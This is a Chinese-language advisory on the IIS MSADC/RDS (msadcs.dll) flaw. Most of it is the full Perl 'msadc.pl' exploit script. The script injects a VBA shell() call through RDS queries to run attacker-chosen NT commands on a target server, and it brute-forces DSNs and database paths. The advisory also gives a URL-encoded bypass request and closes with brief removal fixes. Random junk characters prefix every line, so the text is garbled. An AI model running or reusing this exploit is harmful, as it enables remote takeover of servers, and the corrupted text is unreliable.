IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
w5jH#ja 9QJ=?bIC# 涉及程序：
r&"}zyL Microsoft NT server
KtHh--j` :c,\8n 描述：
U ;Hu:q* 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
HKP\`KBC j ^BjwPh4Z# 详细：
ltt %X].[ 如果你没有时间读详细内容的话，就删除:
_6qf>=qQ`" c:\Program Files\Common Files\System\Msadc\msadcs.dll
sCaw"{5qc 有关的安全问题就没有了。
u7@|f ND 7 8_f0P8R!y 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
>0+m oypq3V=5 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
PiI ):B> 关于利用ODBC远程漏洞的描述，请参看:
HeG GAjc m&,d8Gss^ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm xpFu$2T6P. c@
En4[a' 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
dT,X8 " http://www.microsoft.com/security/bulletins/MS99-025faq.asp M O* m@ yqlkf$? 这里不再论述。
0$ &Z_oJ A3&8 @/6, 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
7H[# *~ 4uF /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
yhQo1e> 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
bm%2K@ /U |Uy hH^ RNoS7[& #将下面这段保存为txt文件，然后: "perl -x 文件名"
' n4zFj+S a>sUq[" #!perl
&z{oVU+mA #
@[zPN[z . # MSADC/RDS 'usage' (aka exploit) script
,0<|&D #
8XX ,(k_b # by rain.forest.puppy
S ?h M #
XPUH\I = # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
L4.yrA-]C% # beta test and find errors!
Yl8tjq}iC ; {I{X}b use Socket; use Getopt::Std;
tDEpR getopts("e:vd:h:XR", \%args);
3dadeu ^{A =h&DW5QC print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
M%&`&{ M P0ww$( if (!defined $args{h} && !defined $args{R}) {
SL%4w< print qq~
H W.S~eLw* Usage: msadc.pl -h <host> { -d <delay> -X -v }
aH"tSgi -h <host> = host you want to scan (ip or domain)
_3A$z A -d <seconds> = delay between calls, default 1 second
B HZGQm -X = dump Index Server path table, if available
^N Et{]x -v = verbose
Z`b,0[rG[ -e = external dictionary file for step 5
XZp(Po:H (O&~*7D* Or a -R will resume a command session
pPQ]#v = \X<UA} ~; exit;}
RG*N w6A T a /G $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
,Hys9I if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
dP)8T if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
j nI) n* if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
A|RAMO@le $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
|C>Yd*E,C if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Mv4JF(,S rX;(48Y if (!defined $args{R}){ $ret = &has_msadc;
y"@~5e477$ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
K3
]hUe# N SHlo*)} print "Please type the NT commandline you want to run (cmd /c assumed):\n"
ZP %^.wxC . "cmd /c ";
?r'b
Z~ $in=<STDIN>; chomp $in;
LgUaX $command="cmd /c " . $in ;
krz@1[w-j $
P#k|A if (defined $args{R}) {&load; exit;}
n4Q!lJ Ap}:^k5{ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
1/le%}mK &try_btcustmr;
83TN6gW NO* 1km[# print "\nStep 2: Trying to make our own DSN...";
1L l@
ocE &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
3QV|@5L`[ "me J n/ print "\nStep 3: Trying known DSNs...";
-QZped;?* &known_dsn;
KY|Q#i|pM .4KXe"~E print "\nStep 4: Trying known .mdbs...";
Q`19YX &known_mdb;
8s wj'SjX 5,?9#n\E, if (defined $args{e}){
H3a}`3}U print "\nStep 5: Trying dictionary of DSN names...";
w,`x(!& &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
[IV 8 )*s.AFu]7x print "Sorry Charley...maybe next time?\n";
7J>n;8{%? exit;
FirmzB Il5 rvr Ok ##############################################################################
\W1?Qc1] EzG7R jW sub sendraw { # ripped and modded from whisker
WfO6Fvx% sleep($delay); # it's a DoS on the server! At least on mine...
bR ;H@Fdg? my ($pstr)=@_;
z@iY(;Qo socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
VK ?,8Y die("Socket problems\n");
yiI&>J)) if(connect(S,pack "SnA4x8",2,80,$target)){
vQIoj31 select(S); $|=1;
T R: D print $pstr; my @in=<S>;
Gm>8=
=c select(STDOUT); close(S);
WVwNjQ2PM return @in;
u4. -AY { } else { die("Can't connect...\n"); }}
N O9Jre [#2= w ##############################################################################
"t\r jFw uM qo)J@s sub make_header { # make the HTTP request
fNB*o={r| my $msadc=<<EOT
\h
#v L POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
M }@^8 User-Agent: ACTIVEDATA
~'T]B{.+J Host: $ip
L {5zA5#m Content-Length: $clen
i>e7 5`9 Connection: Keep-Alive
A?6b)B/e? T8qG9)~3 ADCClientVersion:01.06
|4-Ey! P Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
1>|p1YZ" pGsVO5M? --!ADM!ROX!YOUR!WORLD!
1S_ KX. Content-Type: application/x-varg
>xH3*0 Lp Content-Length: $reqlen
!5=3Y4bg1 $'[(
DwLS EOT
y0=BL ; $msadc=~s/\n/\r\n/g;
I s88+,O return $msadc;}
w@ oq.K du47la 3 ##############################################################################
VY![Vn HsB Vuz!~kLYIn sub make_req { # make the RDS request
orL7y&w(v: my ($switch, $p1, $p2)=@_;
uH wuw_eK` my $req=""; my $t1, $t2, $query, $dsn;
\3Xt\1qN4 l sUQ7%f if ($switch==1){ # this is the btcustmr.mdb query
E2dSOZS:)% $query="Select * from Customers where City=" . make_shell();
Q>z 0?%B $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
wV(_=LF $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
U(i2j)|^I3 -8TJ~t%w4 elsif ($switch==2){ # this is general make table query
j&#p& `B $query="create table AZZ (B int, C varchar(10))";
5F0sfX $dsn="$p1";}
Wc+ e>* xi| iV1A elsif ($switch==3){ # this is general exploit table query
NP|U
|zn $query="select * from AZZ where C=" . make_shell();
B|!YGf L $dsn="$p1";}
iF` E> %# `Y+p7*Qr2 elsif ($switch==4){ # attempt to hork file info from index server
UkeW2l`: $query="select path from scope()";
[%bshaY: $dsn="Provider=MSIDXS;";}
?{^T&<18t Be}Cj(C elsif ($switch==5){ # bad query
&uk?1Z#j $query="select";
7e u7ie6 $dsn="$p1";}
hS<x+|'l L x(Y= $t1= make_unicode($query);
I-+D+DhRx $t2= make_unicode($dsn);
Le_?x $req = "\x02\x00\x03\x00";
m~X:KwK4 $req.= "\x08\x00" . pack ("S1", length($t1));
,9q5jOnk $req.= "\x00\x00" . $t1 ;
}.e*=/"MB $req.= "\x08\x00" . pack ("S1", length($t2));
{L.0jAwB $req.= "\x00\x00" . $t2 ;
-<CBxyZa& $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
JqFFI:Q5a return $req;}
< v0 d 8 V_Y SYG9f ##############################################################################
q}+9$v v`no d I sub make_shell { # this makes the shell() statement
!o> /gI` return "'|shell(\"$command\")|'";}
%W u 3$b zJtYy4jI) ##############################################################################
~Edm VEu _L&C4 <e' sub make_unicode { # quick little function to convert to unicode
=Ermh7, my ($in)=@_; my $out;
\}G/F ! for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
z^=9%tLJ return $out;}
wYS4#7 -_A0<A . ##############################################################################
K{"(|~=U |?{Zx&yUw sub rdo_success { # checks for RDO return success (this is kludge)
/|hKZTZJdN my (@in) = @_; my $base=content_start(@in);
Q- j+#NGc if($in[$base]=~/multipart\/mixed/){
V" \t return 1 if( $in[$base+10]=~/^\x09\x00/ );}
h.G/HHz
return 0;}
Ns&S ZO * 496"kU ##############################################################################
Q<Utwk?nL ,9 sub make_dsn { # this makes a DSN for us
LLV:E{`p my @drives=("c","d","e","f");
F&I^bkvh print "\nMaking DSN: ";
6fQQ KM@a| foreach $drive (@drives) {
QnVYZUgJeV print "$drive: ";
xUzfBn my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
E+F!u5u "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
bi[vs| . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
\*a7DuVw $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
p \F*Y,4 return 0 if $2 eq "404"; # not found/doesn't exist
Tig`4d-% if($2 eq "200") {
wVV'9pw} foreach $line (@results) {
O z]iHe return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
#t
po@pJsE } return 0;}
r S8/_' ,Q 2` N{f ##############################################################################
_Su$oOy(Ea sDw&U?gUv sub verify_exists {
]KLj Qpd my ($page)=@_;
^Jsx^? my @results=sendraw("GET $page HTTP/1.0\n\n");
q >o1 kTI return $results[0];}
0ir ] l<! ?`V6} ##############################################################################
> >F E?@ b&s"x?
7 sub try_btcustmr {
7_ZfV? . my @drives=("c","d","e","f");
8v5cQ5Lc my @dirs=("winnt","winnt35","winnt351","win","windows");
$yLsuqB} 5fDVJE "9" foreach $dir (@dirs) {
b~ WiE? print "$dir -> "; # fun status so you can see progress
2LEf"FH0~ foreach $drive (@drives) {
m fg{% .1 print "$drive: "; # ditto
%F]4)XeW-+ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
DO8@/W(
` $reqlenlen=length( "$reqlen" );
&X
}GJLC3 $clen= 206 + $reqlenlen + $reqlen;
O#sDZ.EL Qis[j -?: my @results=sendraw(make_header() . make_req(1,$drive,$dir));
CcG{+-= H) if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
:Fm;0R@/k else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Q+ $+{g-8 ;r B2Q H] ##############################################################################
PsjSL8] DwMq sub odbc_error {
s["8QCd"r my (@in)=@_; my $base;
a;r,*z Z=" my $base = content_start(@in);
Mxc0=I'a if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
L K-2e$1 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{ r y v7G $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
F\^9=}b_i $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
A9`& Wnw? return $in[$base+4].$in[$base+5].$in[$base+6];}
5
<X.1 T1 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
wrSw> sE" print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
\vjIw{ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
*9Ej fs7L p2cwW/^V ##############################################################################
3MPm LV#f =]X_wA;% sub verbose {
qRlS^=# my ($in)=@_;
h mC. 5mY return if !$verbose;
i|?EgGFG print STDOUT "\n$in\n";}
!YYI{BJ7:N ,l+lokD-# ##############################################################################
5 Sm9m*/ Q"itV&d, sub save {
2#%@j6 my ($p1, $p2, $p3, $p4)=@_;
k]K][[ s` open(OUT, ">rds.save") || print "Problem saving parameters...\n";
2_k2t
? print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
9ozN$ : close OUT;}
-9W)|toWb" P_6Jwe N ##############################################################################
% xv } @#m@ . sub load {
`>'%!E9G my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
.nh }f}j open(IN,"<rds.save") || die("Couldn't open rds.save\n");
i286 J. @p=<IN>; close(IN);
k;BXt:jDq $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Y=0D[o8 $target= inet_aton($ip) || die("inet_aton problems");
\zOo[/-< print "Resuming to $ip ...";
L Gu K@^ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
mcO/V-\5' if($p[1]==1) {
p8gm= $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
SWwL.-+E] $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
+h*-9 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
fib#)KE if (rdo_success(@results)){print "Success!\n";}
m ^?a / else { print "failed\n"; verbose(odbc_error(@results));}}
A<$~Q;r2a elsif ($p[1]==3){
P )D2PVD
if(run_query("$p[3]")){
b~oQhU??" print "Success!\n";} else { print "failed\n"; }}
U phme8SX elsif ($p[1]==4){
' tyblj C if(run_query($drvst . "$p[3]")){
K3g<NC print "Success!\n"; } else { print "failed\n"; }}
4gKu8G exit;}
=Pj+^+UM o,(]w kF ##############################################################################
+q<G%PwbV bn*SLWWQ.3 sub create_table {
*.F^`]yz my ($in)=@_;
SHcFnxEAIH $reqlen=length( make_req(2,$in,"") ) - 28;
"2m (*+ $reqlenlen=length( "$reqlen" );
VA D9 mS^~ $clen= 206 + $reqlenlen + $reqlen;
E!Ljq 3iT` my @results=sendraw(make_header() . make_req(2,$in,""));
mc
FSWmq return 1 if rdo_success(@results);
~9ZW~z' my $temp= odbc_error(@results); verbose($temp);
\m o NpKf return 1 if $temp=~/Table 'AZZ' already exists/;
'Gy O return 0;}
AT{rg/oSf Z(h.)$yH*= ##############################################################################
uE'O}Y95 <y`M Upf] sub known_dsn {
m.6O%jD # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
&hnI0m=X my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
a*kvU "] "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
v w "banner", "banners", "ads", "ADCDemo", "ADCTest");
}w_r(g?\ ojva~mnFf foreach $dSn (@dsns) {
:@~W$f\y print ".";
#Ch*a.tI@ next if (!is_access("DSN=$dSn"));
{3LAK[ C if(create_table("DSN=$dSn")){
K HO@"+ print "$dSn successful\n";
)hy(0 D if(run_query("DSN=$dSn")){
y&&%%3 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
T1~G {@" print "Something's borked. Use verbose next time\n";}}} print "\n";}
iZ( U] zBjtPtiiI8 ##############################################################################
;udV"7C `m")v0n3 sub is_access {
my]t[%Q{ my ($in)=@_;
,wYA_1$$H $reqlen=length( make_req(5,$in,"") ) - 28;
b0| ;v-v $reqlenlen=length( "$reqlen" );
$p;<1+! $clen= 206 + $reqlenlen + $reqlen;
g1 5~+;33N my @results=sendraw(make_header() . make_req(5,$in,""));
e0z(l/UB my $temp= odbc_error(@results);
(~IoRhp^ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
CqVeR';2 return 0;}
DQI
b57j _c $F?9: ##############################################################################
h1
npa D! A )%!9i) sub run_query {
p6 c&vEsNj my ($in)=@_;
rNN ,! $reqlen=length( make_req(3,$in,"") ) - 28;
mDd L7I $reqlenlen=length( "$reqlen" );
5 Y4#aq $clen= 206 + $reqlenlen + $reqlen;
2
r';)8: my @results=sendraw(make_header() . make_req(3,$in,""));
4Q17vCC*n return 1 if rdo_success(@results);
g-LMct8$ my $temp= odbc_error(@results); verbose($temp);
k -!Jww return 0;}
BqtUL_jm 8= "01 ##############################################################################
vdaG?+_o y2M]z:Y U sub known_mdb {
wTe 9OFv my @drives=("c","d","e","f","g");
Ud& '*, my @dirs=("winnt","winnt35","winnt351","win","windows");
S;K5JBX0# my $dir, $drive, $mdb;
34F;mr"yp my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
5ktFL<^5T kyH0J[/n # this is sparse, because I don't know of many
)}$]~
f4R my @sysmdbs=( "\\catroot\\icatalog.mdb",
-P:o ^_)g "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
g#%Egb1 "\\system32\\certmdb.mdb",
8 5:KlBe%+ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
po@Agyg5 "lRxatM my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
8J)Kn4jq "\\cfusion\\cfapps\\forums\\forums_.mdb",
7 - S?U~s "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
,4HZ-|EOZ "\\cfusion\\cfapps\\security\\realm_.mdb",
d6e$'w@(\T "\\cfusion\\cfapps\\security\\data\\realm.mdb",
| Di7 ,$c "\\cfusion\\database\\cfexamples.mdb",
5p]V/<r "\\cfusion\\database\\cfsnippets.mdb",
tx7B?/5D "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
37 b6w6{D "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
0uu)0: "\\cfusion\\brighttiger\\database\\cleam.mdb",
7/zaf "\\cfusion\\database\\smpolicy.mdb",
l4gZHMh' "\\cfusion\\database\cypress.mdb",
m .68c taa "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Ou`;HN;[ "\\website\\cgi-win\\dbsample.mdb",
"&C>=
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
88KQ) NU "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
9]vy#a# ); #these are just
Y|6g g foreach $drive (@drives) {
H`s[=Y,m foreach $dir (@dirs){
4\E1M[ 6
foreach $mdb (@sysmdbs) {
}5AA}= print ".";
op($+Q if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
7J1f$ 5$m5 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
=I0J1Ob if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
biG :Xn print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
sI MN""@Y^ } else { print "Something's borked. Use verbose next time\n"; }}}}}
\ }J"`J\Q D63?f\ foreach $drive (@drives) {
M8R/a[ -A foreach $mdb (@mdbs) {
udS&$/&GH print ".";
67Ev$a_d" if(create_table($drv . $drive . $dir . $mdb)){
7LB%7~{< print "\n" . $drive . $dir . $mdb . " successful\n";
&b'{3o_KN if(run_query($drv . $drive . $dir . $mdb)){
~ike&k { print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
V 4&a+MJ@ } else { print "Something's borked. Use verbose next time\n"; }}}}
hka%!W5 }
nErr &{ C :3 1?Z(fQ ##############################################################################
Zr zv'; }USOWsLSt sub hork_idx {
" xNP"S print "\nAttempting to dump Index Server tables...\n";
{e1 sq^>| print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
rk47 $36X $reqlen=length( make_req(4,"","") ) - 28;
T 0qM " $reqlenlen=length( "$reqlen" );
X|yVRQ?F` $clen= 206 + $reqlenlen + $reqlen;
r$<M*z5q(\ my @results=sendraw2(make_header() . make_req(4,"",""));
dsOt(yNo if (rdo_success(@results)){
;oO_5[,M my $max=@results; my $c; my %d;
>S8
n 8U for($c=19; $c<$max; $c++){
=b8u 8*ua $results[$c]=~s/\x00//g;
[{>3"XJ'
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
T7-yZSw -m $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
R?y_tho4A $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
sm{/S *3 $d{"$1$2"}="";}
E. *gKfL foreach $c (keys %d){ print "$c\n"; }
x=-(p}0o;< } else {print "Index server doesn't seem to be installed.\n"; }}
>*uj
)u% mi1^hl'2 ##############################################################################
7j HrLsB %<r}V<OeR sub dsn_dict {
I%($,kd}s open(IN, "<$args{e}") || die("Can't open external dictionary\n");
b|*+!v:I>T while(<IN>){
Xpv<v[a $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
hUX8j9N> next if (!is_access("DSN=$dSn"));
7H|0 . if(create_table("DSN=$dSn")){
\qTp#sF print "$dSn successful\n";
KdD~;Ap$ if(run_query("DSN=$dSn")){
Q`{Vs:8X print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
n]7rHV}G print "Something's borked. Use verbose next time\n";}}}
@
'c(q=K; print "\n"; close(IN);}
!E|R3e X_ 2
6
>9$S ##############################################################################
JpZ_cb`<E' x iz+ R9p sub sendraw2 { # ripped and modded from whisker
C,%Dp0 sleep($delay); # it's a DoS on the server! At least on mine...
cP4C< UG my ($pstr)=@_;
@$Yk#N;&( socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
!Pt4 \ die("Socket problems\n");
]1eZ<le`6 if(connect(S,pack "SnA4x8",2,80,$target)){
_
nz^+ print "Connected. Getting data";
\t`Vq JLyu open(OUT,">raw.out"); my @in;
atW^^4 : select(S); $|=1; print $pstr;
%_ !0V*X* while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
-[&Z{1A4x4 close(OUT); select(STDOUT); close(S); return @in;
)T? B O } else { die("Can't connect...\n"); }}
.Wr7*J[V. -m[ tYp,q ##############################################################################
,L<x=Dg &
P%# sub content_start { # this will take in the server headers
bKsEXS my (@in)=@_; my $c;
(/Jy9 =~ for ($c=1;$c<500;$c++) {
x>,wmk5) if($in[$c] =~/^\x0d\x0a/){
dcT ZL$ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
. gN ziDO
else { return $c+1; }}}
F >^KXq:Z return -1;} # it should never get here actually
3sIdwY)ZS_ MmU`i ,z ##############################################################################
}eI9me@Aa !)CY\c4}d> sub funky {
vO53?vN[m9 my (@in)=@_; my $error=odbc_error(@in);
]Nw ]p o+ if($error=~/ADO could not find the specified provider/){
"=KFag print "\nServer returned an ADO miscofiguration message\nAborting.\n";
pAq PHD= exit;}
wDSw cNS if($error=~/A Handler is required/){
xls
US'Eo print "\nServer has custom handler filters (they most likely are patched)\n";
XR p60i6f exit;}
+?*.Emz l@ if($error=~/specified Handler has denied Access/){
[Jjo H1E@ print "\nServer has custom handler filters (they most likely are patched)\n";
t/ %[U,m exit;}}
@[`]w`9Q7 P MX'vA` ##############################################################################
9b&;4Yq!f .wTb/ x sub has_msadc {
6
{F#_. my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
7q 5 \]J[ my $base=content_start(@results);
I>w|80%% return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
a+CJ J3T- return 0;}
?B)e8i<[f ^vv 1cft ########################
p %X.$0 =h?%<2t9< j~ =<O<P 解决方案：
nB[B
FVkU 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
JlawkA 2、移除web 目录: /msadc
